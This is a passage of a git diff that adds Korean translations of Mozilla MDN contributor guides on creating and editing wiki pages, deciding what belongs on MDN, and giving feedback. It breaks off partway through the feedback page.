+ <li><a href="http://matt.might.net/articles/how-to-email/" title="http://matt.might.net/articles/how-to-email/">How to send and reply to email</a></li>
+ <li><a href="http://blog.gerv.net/2012/10/how-to-be-a-mozillia/">How to be a Mozillian</a></li>
+</ul>
diff --git a/files/ko/mdn/contribute/creating_and_editing_pages/index.html b/files/ko/mdn/contribute/creating_and_editing_pages/index.html
new file mode 100644
index 0000000000..6993674a4f
--- /dev/null
+++ b/files/ko/mdn/contribute/creating_and_editing_pages/index.html
@@ -0,0 +1,166 @@
+---
+title: 페이지 생성 및 수정
+slug: MDN/Contribute/Creating_and_editing_pages
+tags:
+  - 초보자
+  - 페이지생성
+  - 페이지수정
+  - 페이지편집
+translation_of: MDN/Contribute/Howto/Create_and_edit_pages
+---
+<div>{{MDNSidebar}}</div><p>신규 공헌자가 이미 있는 문서를 수정하거나 신규 문서를 생성하는 법에 대해 설명합니다. </p>
+
+<h2 id="기존_페이지_수정하기">기존 페이지 수정하기</h2>
+
+<p>페이지를 수정하기 위해서:</p>
+
+<ul>
+ <li>오른쪽 최상단 근처의 <strong>Edit</strong> 버튼을 클릭하세요.</li>
+ <li>페이지가 로드되며 직접 정보를 추가하거나 삭제할 수 있는 편집화면이 뜹니다. </li>
+ <li>문단 추가, 텍스트 삭제, 헤드라인 삽입, 그리고 문서 작성 및 편집을 위한 기본적인 기능 이상의 것을 수행할 수 있습니다.</li>
+</ul>
+
+<p>MDN에 탑재된 편집기 사용에 대한 좀 더 세부적인 내용은 <a href="/ko/docs/MDN/Contribute/Editor">MDN 편집기 가이드</a>에 있는 <a href="/ko/docs/MDN/Contribute/Editor/Basics">편집기 UI 요소</a>를 참고하세요.</p>
+
+<h3 id="변경_내용_미리보기">변경 내용 미리보기</h3>
+
+<p>수정한 내용이 어떤 모습일지 보기 위해서는...</p>
+
+<ul>
+ <li>페이지 상단이나 하단에 있는 "미리보기" 버튼을 클릭하세요.</li>
+ <li>그러면 새 창이나 탭으로 수정 사항을 포함하고 있는 미리보기 페이지가 열립니다.</li>
+ <li>이 버튼을 클릭할 때 마다, 가장 최근에 수정한 내용으로 미리보기 페이지가 새롭게 로딩됩니다.</li>
+</ul>
+
+<p>하지만!! 미리보기는 저장된 페이지가 아닙니다. 저장 전 편집 페이지를 닫지 않도록 <strong>주의하세요!!</strong></p>
+
+<h3 id="리비전_답글">리비전 답글</h3>
+
+<p> 미리보기로 확인했다면, 변경사항(리비전)를 저장하고 싶을 겁니다. 저장 전, 편집영역 아래 있는 리비전 답글 영역에 변경 사유를 남겨주세요. 다른 공헌자들이 참고할 수 있도록요. 예를 들면, 새로운 섹션을 추가했거나, 좀 더 정확한 용어를 쓰기 위해 단어를 수정했거나, 언어를 구분하기 위해 문장을 다시 썼거나, 중복되는 내용이기 때문에 정보를 제거했다 등을 적으면 됩니다. </p>
+
+<h3 id="목차">목차</h3>
+
+<p>페이지 상단에 "이동"이라는 목차 영역은 페이지에 있는 소제목 이동 링크를 자동으로 만들어준 것입니다.  소제목을 바꾸면 목차명도 바뀝니다. 편집화면 '설명 번역'의 "TOC" 드롭다운 메뉴를 통해서 목차를 제거하거나 목차 깊이를 조절할 수 있습니다. </p>
+
+<h3 id="태그">태그</h3>
+
+<p>페이지 내용과 기능을 설명하는 태그를 페이지의 편집 섹션 아래에서 추가하거나 제거할 수 있습니다. 어떤 태그를 적용할 것인지에 대해 자세히 알고 싶으면 <a href="/en-US/docs/MDN/Contribute/Tagging">페이지에 알맞은 태그를 붙이는 방법</a>을 보세요.</p>
+
+<h3 id="검토가_필요한가요">검토가 필요한가요?</h3>
+
+<p>전문가 또는 숙련된 공헌자의 검토가 필요하다고 생각되면, 저장하기 전에, 검토 요청 체크박스를 이용하여, (코드 샘플, API 혹은 테크놀로지에 대한) 기술상의 검토, (산문, 문법 및 내용에 대한) 편집상의 검토, (KumaScript 코드에 대한) 템플릿 검토를 요청할 수 있습니다.</p>
+
+<h3 id="자료_첨부">자료 첨부</h3>
+
+<p>자세한 설명을 추가하기 위해 자료를 첨부하고 싶다면, 페이지 하단에서 첨부할 수 있습니다. </p>
+
+<h3 id="개시_버리기_또는_개시하고_계속_편집">개시, 버리기 또는 개시하고 계속 편집</h3>
+
+<p>편집을 완료하고, 미리보기 한 결과에도 만족했다면, 페이지 제목의 오른쪽이나 페이지 하단에 있는 녹색의 "변경 사항 저장"을 클릭하여 작업한 결과와 답글을 저장할 수 있습니다. 마음이 바뀌었다면, 페이지 제목의 오른쪽에 있는 붉은색의 "변경 파기"를 클릭하여 그 동안 작업한 것을 버릴 수 있습니다.</p>
+
+<p>리비전 답글에서 답글을 달고 <strong>엔터키</strong>를 누르는 것은 "저장하고 계속 수정"하는 것을 클릭하는 것과 같습니다.</p>
+
+<div class="note">
+<p>변경내용을 저장하려 할 때, 밴경내용이 실제 MDN에는 적절한 내용인데 유효하지 않다는 이유로 거절된다면, <a href="mailto:mdn-spam-watch@mozilla.com?subject=MDN%3A%20Content%20Rejection%20Appeal&amp;amp;body=%3CDescribe%20the%20content%20you%20were%20trying%20to%20save%20and%20where%20you%20were%20trying%20to%20place%20it.%3E">작성팀에 콘텐츠가 게시되게 도와 달라는메일</a>을 보내야만 합니다. </p>
+</div>
+
+<h2 id="새로운_페이지_생성하기">새로운 페이지 생성하기</h2>
+
+<p>만약 당신이 어디에 새로운 글을 써야할지 모른다고해도 , <strong>걱정하지마세요! </strong>어디든 적으세요 그러면 우리가 그 문서를 찾고 있어야 할 장소로 옴기고 새로 쓴 글이 해당 문서에 적합하다면 , 존재하는 문서에 합칠 거에요. 당신은 또한 완벽하게 해야한다는 것에 대한 걱정을 할 필요가 없어요. 우리는 도움을 주는 행복한 요정들을 가지고 있고  요정들은 당신의 글을 깔끔하고 아주 부드럽게 만드는 것을 도와 줄 것 입니다.</p>
+
+<p>새로운 페이지를 만드는 몇 가지 방법이 있습니다:</p>
+
+<ul>
+ <li><a href="#Missing_page_link">"누락된 페이지" 링크</a></li>
+ <li><a href="#New_page_without_link">링크가 없는 새로운 페이지</a></li>
+ <li><a href="#Subpage_of_an_existing_page">이미 존재하는 페이지의 하위 페이지</a></li>
+ <li><a href="#Clone_of_an_existing_page">이미 존재하는 페이지 복제</a></li>
+ <li><a href="#Link_from_an_existing_page">이미 존재하는 페이지의 링크</a></li>
+</ul>
+
+<h3 id="페이지_생성_권한_얻기">페이지 생성 권한  얻기</h3>
+
+<p>보안의 이유로, 새롭게 생성된 계정은 새로운 페이지를 생성할 수 있는 능력이 없습니다. 페이지 생성을 하고 싶다면, 페이지 생성 방법을 안내하는 페이지를 보게 될 것입니다. 두가지 선택이 있습니다.</p>
+
+<ul>
+ <li><strong>생성될 페이지 요청</strong>. 이를 위해서는, "Create page:&lt;page title&gt;"이라는 제목으로 <a href="https://bugzilla.mozilla.org/enter_bug.cgi?bug_file_loc=http%3A%2F%2F&amp;bug_ignored=0&amp;bug_severity=normal&amp;bug_status=NEW&amp;cf_fx_iteration=---&amp;cf_fx_points=---&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;flag_type-4=X&amp;flag_type-607=X&amp;flag_type-800=X&amp;flag_type-803=X&amp;form_name=enter_bug&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=Unspecified&amp;priority=--&amp;product=Developer%20Documentation&amp;rep_platform=Unspecified&amp;short_desc=Create%20page%3A%20&amp;status_whiteboard=create-page&amp;target_milestone=---&amp;version=unspecified">문서를 제출</a>합니다. 페이지가 어디에 위치하는지 안다면, MDN에 있는 원하는 페이지의 위치를 URL 항목에 입력합니다. 왜 페이지를 생성해야 하는지에 대한 약간의 정보를 코멘트 텍스트  영역에 입력해야 합니다.</li>
+ <li><strong>페이지 생성 권한 요청.</strong> 페이지 생성 권한을 요청하면,  부여 받을 것이고,  여기에 있는 지침에 따라 새로운 페이지를 추가할 수 있을 것입니다. 이 특권을 요청하기 위해,  <a href="mailto:mdn-admins@mozilla.org">MDN admin 팀에 메일</a>을 보내십시오. 당신의 사용자 이름과 새로운 페이지 생성을 위한 능력을 왜 얻으려 하는지 입력합니다.  예를 들면, 많은 새로운 페이지에 포함되는 새로운 API에 대한 문서를 만들고 있다거나,  새로운 용어를 추가하고  싶을 수 있습니다. 또한,  사이트 콘텐츠에 어떤 유용한 공헌을 이미 했거나, 어느 정도 시간을 할애하여 공헌자로 활동했을 수도 있습니다. 어느 정도의 시간 할애나 다른 요인들이 함께 고려되기 때문에, 정해진 기간이 있는 것은 아닙니다.</li>
+</ul>
+
+<dl>
+</dl>
+
+<h3 id="누락된_페이지_링크">"누락된 페이지" 링크</h3>
+
+<p>대부분의 위키가 그러하듯,  MDN에서도 아직 존재하지 않는 페이지로 링크를 연결하는 것이 가능합니다.  예를 들어, 작성자가 어떤 API의  개별 항목에 대한 페이지를 생성하기 전에, 항목의 모든 리스트를 생성할 수 있습니다. MDN에서 존재하지 않는 페이지로 링크를 연결하면 통상 빨간색으로 표시됩니다.</p>
+
+<p>"누락된 페이지" 링크로 페이지를 생성하기 위해서는:</p>
+
+<ol>
+ <li>MDN에 로그인 합니다. (로그인 하지 않고, "누락된 페이지" 링크를 클릭하면 404(페이지 없음) 에러가 발생합니다.)</li>
+ <li>"누락된 페이지" 링크를 클릭합니다. <a href="/ko/docs/MDN/Contribute/Editor">MDN 편집기 UI</a>가 열리고,  누락된 페이지를 생성할 수 있는 준비가 됩니다.</li>
+ <li>페이지의 내용을 작성하고, 저장합니다.</li>
+</ol>
+
+<h3 id="링크가_없는_새로운_페이지">링크가 없는 새로운 페이지</h3>
+
+<p>다른 페이지의 링크를 걸지 않은  새로운 페이지를 만들기 위해서는,  브라우저의 URL  항목에 고유한 페이지 이름을 입력합니다.  예를 들면,  아래와 같이 입력한다면..</p>
+
+<pre class="language-html">https://developer.mozilla.org/en-US/docs/FooBar</pre>
+
+<p>MDN은 제목이 "FooBar"로 된 새로운 페이지가 생성하고,  편집기가 실행되어 새로운 페이지에 내용을 추가할 수 있게 해줍니다.  편집기 모드를 이용하는 방법에 대한 내용은  이 글의 <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Create_and_edit_pages#Editing_an_existing_page">이미 존재하는 페이지 편집하기</a> 섹션을 참고하세요.</p>
+
+<h3 id="이미_존재하는_페이지의_하위_페이지">이미 존재하는 페이지의 하위 페이지</h3>
+
+<p>페이지의 계층 구조에서 이미 존재하는 페이지 하위로 페이지를 생성하고 싶다면:</p>
+
+<ol>
+ <li>"부모" 페이지에서, <strong>Advanced</strong> 메뉴(툴바의 기어 아이콘)를 클릭하고, <strong>New sub-page</strong>를 클릭합니다. 새로운 문서를 생성하기 위한 편집기 화면이 열립니다.</li>
+ <li><strong>Title</strong> 항목에 문서의 제목을 입력합니다.</li>
+ <li>필요하다면 <strong>Slug</strong> 항목을 수정합니다.  예를 들어,  제목이 너무 길어서 단축 URL을  입력할 수 있습니다. 이 항목은 에디터에서 제목의 공백을 언더스코어로 연결하여 자동적으로 채워줍니다.  이 경우,  문서의 URL  중 가장 마지막 부분만 수정할 수 있습니다.</li>
+ <li>TOC 항목에서,  페이지의 목차에 자동적으로 노출되기 원하는 헤드라인을 선택하거나, 페이지에서 필요가 없다면 "목차 없음(No table of contents)"을 선택합니다.</li>
+ <li>편집 패널에서 페이지의  내용을 작성하고 변경사항을 저장합니다.  편집 모드 사용에 대한 방법은  이 글의 <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Create_and_edit_pages#Editing_an_existing_page">이미 존재하는 페이지 편집하기</a>  섹션을 참고하세요.</li>
+</ol>
+
+<h3 id="이미_존재하는_페이지_복제">이미 존재하는 페이지 복제</h3>
+
+<p>새로운 페이지를 위해 사용하고자 하는 페이지의 포멧이 이미 존재한다면,  페이지를 '복제'하여 내용을 수정할 수 있습니다.</p>
+
+<ol>
+ <li>복제하려는 원래 페이지에서,  <strong>Advanced</strong>  메뉴(툴바의 기어 아이콘)을 클릭하고,  이 페이지 복제하기(<strong>Clone this page</strong>)를 클릭합니다. 새로운 문서를 생성하기 위한 편집기 화면이 열립니다.</li>
+ <li>페이지의 타이틀(<strong>Title</strong>)을 새로운 내용에 맞게 적절하게 바꿉니다. <strong>Slug</strong> 항목은  타이틀(<strong>Title</strong>) 항목을 바꾸면 자동적으로 반영됩니다.</li>
+ <li>필요하다면, 문서의 계층구조의 다른 부분에 새로운 문서를 넣기 위해 <strong>Slug</strong> 항목의 경로 부분도 변경합니다. (대부분의 경우, 복제된 페이지가 원래 페이지와 유사한 내용을  가지고 있고, 따라서 위치도 비슷하기 때문에  이 과정은 필요하지 않습니다.)</li>
+ <li>TOC 항목에서,  페이지의 목자에 자동적으로 노출되기 원하는 헤드라인을 선택하거나,  목차를 가지고 있지 않다면 "목차 없음(No table of contenst)"을 선택합니다.</li>
+ <li>편집 패널에서 페이지의  내용을 작성하고,  변경사항을 저장합니다. 편집 모드 사용에 대한 방법은  이 글의 <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Create_and_edit_pages#Editing_an_existing_page">이미 존재하는 페이지 편집하기</a>  섹션을 참고하세요.</li>
+</ol>
+
+<h3 id="이미_존재하는_페이지의_링크">이미 존재하는 페이지의 링크</h3>
+
+<p>이 방법은 다소 복합적입니다.  다른 페이지에 링크를 만들고,  새로운 페이지를 만들기 위해  삽입한 링크를 클릭합니다.</p>
+
+<ol>
+ <li>이미 존재하는 페이지의 텍스트 안에  넣고자 하는 새로운 페이지의 이름을 입력합니다.</li>
+ <li>이름을 선택하고,  편집기의 툴바에서 링크 아이콘 클릭(<strong>click the Link icon (<img alt="" src="https://developer.mozilla.org/files/3810/link-icon.png">)</strong>)을 클릭합니다. "<strong>Update Link</strong>" 다이얼로그가 열리고,  "<strong>Link To</strong>" 항목에 선택된 텍스트로 채워집니다.</li>
+ <li>기본적으로, URL 항목의 시작  부분은  "/en-US/docs/"가 삽입됩니다. <em> </em>"/en-US/docs/"  다음에 페이지의 이름을 입력하세요. (페이지 이름은 링크 텍스트와 동일하지 않아도 됩니다.)</li>
+ <li>링크를 생성하고 삽입하기 위해 OK를 클릭합니다.</li>
+</ol>
+
+<p>페이지가 존재하지 않는다면,  링크는 붉은색으로 보여집니다. 페이지가 존재한다면 링크는 파란색으로 보여집니다. 새로운 페이지를 만들고 싶은데 원하는 페이지 제목이 이미 존재한다면, 먼저 해당 페이지에 있는 내용을  추가 편집하거나 좀 더 개선할 부분은 없는지 확인하십시오. 아니면,  생성하고자 하는 페이지에 대한 다른 제목을 고민해보고 링크를 만들어 보세요. 페이지 이름에 대한 안내는 <a href="https://developer.mozilla.org/ko/docs/Project:Page_Naming_Guide">페이지 네이밍 가이드</a>를 참고하세요.</p>
+
+<p>새로운 페이지에 내용을 추가하기 위해, 저장하고 편집기를 닫은 후에 이제 막 추가된 붉은색 링크를 클릭합니다. 편집 모드에 새로운 페이지가 열리고,  작성을 할 수 있습니다.  편집 모드 사용에 대한 방법은  이 글의 <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Create_and_edit_pages#Editing_an_existing_page">이미 존재하는 페이지 편집하기</a> 섹션을 참고하세요.</p>
+
+<h2 id="페이지_콘텐츠_새로고침하기">페이지 콘텐츠 새로고침하기</h2>
+
+<p>MDN의 KumaScript 매크로와 페이지의 콘텐츠를 다른 페이지로 넣을 수 있는 트랜스클루젼(transclusion)의 지원은 성능 향상을 위해  생성된 페이지의 캐시의 필요에 의해 종종 방해될 수 있다. 페이지는 그 소스로부터 만들어지고, 이후에 있을 요청을 위해 산출물을 캐시로 저장해둔다. 그  때부터  어떤 매크로(템플릿),  페이지의 <a href="https://developer.mozilla.org/en-US/docs/Template:Page">Page</a> 매트로를 이용하는 트랜스클루젼도 매크로나 매크로의 산출물,  혹은 삽입되어 추가된 원래 자료의 변경에도 영향이 없을 것이다.</p>
+
+<ul>
+ <li>페이지를 직접 업데이트 하기 위해서,  브라우저의 강재 새로고침을 이용할 수 있다.  MDN은 이를 감지하여  업데이트된  매크로 산출물과 삽입된(transcluded)  페이지 내용을 가져와 페이지를 새롭게 만든다.</li>
+ <li> 정기적으로  페이지가 자동으로 새롭게 만들어지도록 설정하는 것도 가능하다. 페이지가 자주 업데이트 되는 것에 대한 기대가 없다면 이것은 실행되지 않을 것입니다. 자세한 내용은 <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Tools/Page_regeneration">페이지 재생성</a>을 참고하세요. </li>
+</ul>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Editor">MDN 편집기 가이드</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Content/Style_guide">MDN 스타일 가이드</a></li>
+</ul>
diff --git a/files/ko/mdn/contribute/does_this_belong/index.html b/files/ko/mdn/contribute/does_this_belong/index.html
new file mode 100644
index 0000000000..46f6395a52
--- /dev/null
+++ b/files/ko/mdn/contribute/does_this_belong/index.html
@@ -0,0 +1,139 @@
+---
+title: 이건 MDN에 있나요?
+slug: MDN/Contribute/Does_this_belong
+translation_of: MDN/Guidelines/Does_this_belong_on_MDN
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<p>무엇인가를 문서로 남겨두겠다는 생각을 하기 시작했다면,  그 문서를 어디에 둘지도 고민해보았을 겁니다. 문서가 위치할 수 있는 몇 가지 장소가 있고, MDN이 웹에서 가장 큰 문서 저장소 중 하나이지만 유일한 옵션은 아닙니다. 또한 소스 코드에 문서를 보관해둘 수도 있고, <a href="https://wiki.mozilla.org/">Mozilla 위키</a>나 git 저장소의 README 파일에 저장해 두어도 좋습니다. 이 글에서는 어느 방법이 여러분들의 문서와 어울릴지를 판단하는데 도움이 되기 위해서 쓰였습니다.</p>
+
+<h2 id="MDN에는_뭐가_있죠">MDN에는 뭐가 있죠?</h2>
+
+<p>우리는 MDN에 정말 다양한 주제를 다룹니다. 하지만 완전히 MDN에 있어서는 안될 몇 가지도 있습니다. 이 섹션은 여러분의 문서가 MDN에 있어도 괜찮은지 판단할 수 있도록 도와주겠습니다.</p>
+
+<h3 id="MDN에서_다루는_것">MDN에서 다루는 것</h3>
+
+<p>우리는 MDN에서 정말 많은 내용을 다루고 있습니다. 일반적으로 완전히 제작되었거나 배포 중인 Mozilla 제품이나, 웹에 공개된 열린 기술이라면, MDN에 문서로 남겨둡니다.</p>
+
+<p>우리들이 다루고 있는 내용 몇가지를 맛보기로 보여드리겠습니다. 전체 리스트는 아니지만 몇가지 아이디어는 줄 수 있을 겁니다.</p>
+
+<ul>
+ <li>열린 웹 기술
+  <ul>
+   <li>HTML</li>
+   <li>CSS</li>
+   <li>JavaScript</li>
+   <li>Web에 공개된 API</li>
+   <li>그 외 기타</li>
+  </ul>
+ </li>
+ <li>Firefox OS
+  <ul>
+   <li>오픈 웹 애플리케이션</li>
+   <li>Firefox OS 빌드하고 설치하기</li>
+   <li>Firefox OS 프로젝트에 기여하기</li>
+   <li>Gaia 설정 변경하기</li>
+   <li>그 외 기타</li>
+  </ul>
+ </li>
+ <li>Mozilla 플랫폼
+  <ul>
+   <li>Gecko</li>
+   <li>Firefox를 빌드하고 설정하기</li>
+   <li>XUL</li>
+   <li>XPCOM</li>
+   <li>그 외 기타</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>참고하세요:</strong> 우리는 Mozilla 기술이 아니더라도 Web에 공개되어 있는 한 다룰 수 있다는 점이 중요합니다. 가령, 우리는 Webkit 전용 CSS 프로퍼티를 설명해놓은 문서도 있습니다.</p>
+</div>
+
+<h3 id="우리가_다루지_않는_것">우리가 다루지 않는 것</h3>
+
+<p>MDN에 문서로 남겨져서는 안되는 명백한 것인지 아닌지에 대해 스스로 질문해볼 수 있습니다.</p>
+
+<ul>
+ <li>아직 계획중인 문서인가?</li>
+ <li>아직 존재하지 않는 기술을 설명해놓은 설계 문서인가?</li>
+ <li>프로젝트를 제안하는 문서인가?</li>
+ <li>단순히 기술 스펙만 나열했는가?</li>
+ <li>Mozilla 브라우저가 아닌 특정 브라우저에만 사용되는 웹에 노출되지 않은 기술인가?</li>
+</ul>
+
+<p>저 질문 중 하나라도 "예"라고 답변할 수 있다면, MDN에 있어서는 안될 문서입니다. 저 질문 모두에 "아니요"라고 대답할 수 있다면, MDN에 문서로 보관할지 진지하게 고민할 때가 되었다는 겁니다!</p>
+
+<h2 id="MDN에_문서로_남겨두면_좋은_점">MDN에 문서로 남겨두면 좋은 점</h2>
+
+<p>MDN에 문서로 남겨두면 좋은 점이 굉장히 많답니다.</p>
+
+<h3 id="글을_쓰는_사람들이_굉장히_많습니다">글을 쓰는 사람들이 굉장히 많습니다</h3>
+
+<p>MDN 공동체는 굉장히 큽니다. 정말 큽니다. 큰 것들을 작게 보이게 만들 정도로 큽니다. 농담이 아니라, 우리는 굉장히 많은 사람들과 MDN에 있는 자료를 만들어내며 관리하고 있습니다. 전세계 모든 땅(인정할게요. 남극까지는 잘 모르겠어요.)의 작가, 편집자들과 함께하고 있기 때문에, 글을 쓰려는 사람들은 무조건 득 보는 거에요.</p>
+
+<ul>
+ <li>우리에게는 우리의 컨텐츠를 최대한 좋게 만들어 보겠다는 <strong>사명</strong>을 갖고 있는 유급 편집 스탭이 있습니다.</li>
+ <li>우리는 충분한 양의 컨텐츠를 기여하고 여러분들을 도와줄 수 있는 핵심 커뮤니티와 함께하고 있습니다.</li>
+ <li><strong>사실은 다른 사람들에게 여러분의 글의 대부분 혹은 전부를 쓰게 할 수 있는 절호의 찬스입니다!</strong></li>
+ <li>넓디넓은 MDN 커뮤니티에게서 많은 것들을 얻어갈 수 있습니다. 오타를 잡아주는 것부터 시작해서 편집에 관한 논평까지, 여러분들의 소원을 들어줄 수 있습니다.</li>
+ <li>{{IRCLink("mdn")}} 채널을 통해 글쓰기 커뮤니티와 이야기를 하거나 조언을 들을 수 있고, 여러분들의 문서 제작이나 유지보수에 도움을 청할 수도 있습니다</li>
+ <li>전세계에 분포한 기여자들과 함께하고 있기 때문에, 언제나 누군가 주변에서 문제를 발견하고 해결해 줄 겁니다.</li>
+</ul>
+
+<p>Do you want your development team to be entirely responsible for the production of documentation? That's likely if your documentation is maintained elsewhere.</p>
+
+<h3 id="유지보수">유지보수</h3>
+
+<p>Because of the sheer number of contributors, there's usually someone on hand to watch for problems with your content: from spam control to copy-editing, things can happen around the clock. Here's just a taste of what our team can do:</p>
+
+<dl>
+ <dt>스팸 제거</dt>
+ <dd>스팸이 발생하면 우리들이 처리합니다.</dd>
+ <dt>편집</dt>
+ <dd>여러분 생각보다 필력이 달려도 걱정하실 것 없습니다. 여러분이 쓴 글을 다른 사람들이 읽을 수 있도록 해주겠습니다.</dd>
+ <dt>스타일의 일관성</dt>
+ <dd>여러분이 작성한 문서 하나에서만 지켜지는 일관성이 아니라, 다른 문서와 함께 있을 때에도 일관적인 스타일을 가지고 있을지 봐주겠습니다.</dd>
+ <dt>컨텐츠 관리</dt>
+ <dd>Our team will help ensure that the documentation is cross-linked with other relevant materials, that articles are put in the right places, and that menus and other infrastructure is built to make it easy to follow and understand.</dd>
+</dl>
+
+<h2 id="다른_곳에_문서로_남겨두는_경우">다른 곳에 문서로 남겨두는 경우</h2>
+
+<p>MDN 말고 다른 곳에다가 여러분이 만든 작업물을 문서로 남겨둘 이유도 없는 건 아닙니다. 그런 이유에 대해서 몇가지 살펴보도록 하고, 각각 장단점을 찾아보도록 할게요.</p>
+
+<h3 id="계획이나_진행_상황">계획이나 진행 상황</h3>
+
+<p>간단합니다. 계획, 진행 상황, 요청에 대한 문서는 MDN에 남기면 안됩니다.</p>
+
+<h3 id="Github에_올라온_프로젝트">Github에 올라온 프로젝트</h3>
+
+<p>Mozilla의 몇몇 프로젝트는 Github에 올라와 있습니다. 또, Github에는 문서를 보관하기 위해 자기네들만의 위키 비스무리한 시스템을 가지고 있어요. 몇몇 팀은 거기에다가 문서를 남겨두기를 더 좋아합니다. 여러분만의 문서를 만들어갈 생각이라면 아무래도 그쪽이 더 편하고 좋겠죠. 하지만 몇가지 사실을 기억하세요.</p>
+
+<ul>
+ <li>MDN 문서 팀이 여러분들을 도와드릴 수 없을지도 모릅니다. 우리는 일반적으로(때로 예외가 있기는 합니다만) MDN 바깥의 문서화에는 참여하지 않습니다.</li>
+ <li>여러분들의 문서다 다른 관련된 내용과 상호 링크하기가 힘들거나 불가능합니다.</li>
+ <li>다른 문서와 일관된 스타일을 가지지 못할 수도 있습니다.</li>
+ <li>다른 문서 사이에 없기 때문에 발견될 가능성이 줄어듭니다.</li>
+ <li>Github에 저장된 문서는 MDN에 있는 문서에 비해 별로 매력적으로 보이지도 않으면서 가독성도 영 좋지는 않습니다.</li>
+</ul>
+
+<p>물론 이런 점들이 여러분들에게 별로 문제가 되지 않거나 문제가 되더라도 딱히 불편한 점이 없을 수도 있습니다. 몇몇 팀은 문서로 남기겠다는 필요성이 별로 없어서 코드 안에서만 작업하고 문서를 남겨두기도 합니다.</p>
+
+<h3 id="소스_안에_문서를_남겨두고_싶은_경우">소스 안에 문서를 남겨두고 싶은 경우</h3>
+
+<p>몇몇 팀은 소스 저장소에다가 자신들의 문서를 저장하는 걸 더 선호하기도 합니다. 내부 프로젝트나 라이브러리 프로젝트에서는 꽤나 흔한 일이긴 한데요. 코드를 쓰듯이 자신들의 기술을 문서로 남길 수 있다는 점에서 이점이 있기는 합니다. 하지만 그만큼 단점도 있지요.</p>
+
+<ul>
+ <li>MDN 문서 팀이 여러분들을 도와드릴 수 없습니다. 코드가 Mozilla의 소스 저장소에 있더라도, 리뷰나 체크인 시스템은 문서 팀이 참여하기에는 그닥 효율적이지 못합니다.</li>
+ <li>관련 있는 다른 문서와 상호 링크할 수 있는 간편한 도구를 찾기가 힘듭니다. 상호 링크를 하면 읽는 이들에게 맥락과 중요한 정보를 더 잘 전달할 수 있을텐데 말이죠.</li>
+ <li>다른 문서 사이에 없기 때문에 발견될 가능성이 줄어듭니다.</li>
+ <li>(JavaDoc 같은) 변환 도구를 사용하여 웹에서 읽을 수 있는 문서를 만들더라도, MDN에서 할 수 있는것보다 예쁘거나 매력적이지도 않을 겁니다.</li>
+</ul>
+
+<p>여전히 몇몇 프로젝트에서 이런 방법을 사용할 수 없는 건 아닙니다. (오히려 좋은 방법일 수도 있습니다.) 작은 프로젝트나 별로 관심을 얻을 생각을 하지 않는 프로젝트에는 특히 그렇죠.</p>
+
+<h2 id="나중에는">나중에는</h2>
+
+<p>It's worth mentioning that someday we intend to make it possible to present off-site content as if it were part of MDN, and that we hope to one day have tools to actually import content from other sites onto MDN. However, there's no timeline in place for making this happen, and even once it does, it will not be as effective as building the documentation directly on MDN.</p>
diff --git a/files/ko/mdn/contribute/feedback/index.html b/files/ko/mdn/contribute/feedback/index.html
new file mode 100644
index 0000000000..321efa3330
--- /dev/null
+++ b/files/ko/mdn/contribute/feedback/index.html
@@ -0,0 +1,74 @@
+---
+title: MDN에 피드백을 보내주세요!
+slug: MDN/Contribute/Feedback
+tags:
+  - MDN
+  - MDN 메타
+  - 가이드
+  - 문서
+translation_of: MDN/Contribute/Feedback
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<p>Mozilla 개발자 네트워크에 오신것을 환영합니다! <span class="seoSummary"> 만일 당신이 MDN을 사용하면서 발견한 문제점들이나 바라는 점들을 제안하고 싶다면 이곳은 당신에게 어울리는 장소입니다. 당신이 피드백을 제공함으로써 당신의 Mozilla 커뮤니티에서의 힘은 더 커질 것이고 우리는 당신의 관심에 감사드릴 것입니다.</span></p>
+
+<p><span class="seoSummary">당신에게는 당신의 통찰력을 제공하기 위한 몇가지 선택사항들이 있으며 이 문서는 당신에게 도움을 줄 것입니다.</span></p>
+
+<h2 id="자료_업데이트하기">자료 업데이트하기</h2>
+
+<p>당신이 문서에서 문제점을 찾았다면, 그냥 고치면 됩니다. </p>
+
+<ol>
+ <li><a href="https://github.com/">Github</a>을 이용해서 <a href="/ko/docs/MDN/Contribute/Howto/Create_an_MDN_account">계정을 만들고</a></li>
+ <li>원하는 페이지에서 파란색 <strong>편집</strong> 버튼을 클릭해서 에디터를 엽니다.</li>
+ <li>변경이 끝나면 <strong>게시</strong> 버튼을 클릭합니다. </li>
+</ol>
+
+<p>문서는 모두 위키 기반이며 자원봉사자들과 스탭들이 관리하므로 문법적인 것에 너무 부담가질 필요 없습니다. 실수가 있다면 우리가 고칠 겁니다. 걱정하지 마세요.</p>
+
+<p>MDN 문서작성에 도움을 주는 방법을 알고싶다면 :</p>
+
+<ul>
+ <li><a href="/ko/docs/Project:Getting_started" title="/en-US/docs/Project:Getting_started">시작하기</a></li>
+ <li><a href="/ko/docs/MDN/Contribute">MDN에 도움주기</a></li>
+ <li><a href="/ko/docs/MDN/Contribute/Editor" title="/en-US/docs/Project:MDN_editing_interface">MDN 편집 인터페이스</a></li>
+</ul>
+
+<h2 id="대화에_참여하기">대화에 참여하기</h2>
+
+<p>우리랑 대화하세요! MDN 콘텐츠에 일하는 다른 사람들과 연락하는 몇가지 방법이 여기 있습니다.</p>
+
+<h3 id="채팅실시간">채팅(실시간)</h3>
+
+<p>우리는 MDN과 콘텐츠에 대한 의견을 <a href="https://wiki.mozilla.org/IRC">IRC</a>를 통해서 나눕니다. 당신도 참여하세요! 주제별로 몇가지 채널이 있습니다. </p>
+
+<dl>
+ <dt><a href="irc://irc.mozilla.org/mdn" title="irc://irc.mozilla.org/mdn">MDN 사이트 콘텐츠 (#mdn)</a></dt>
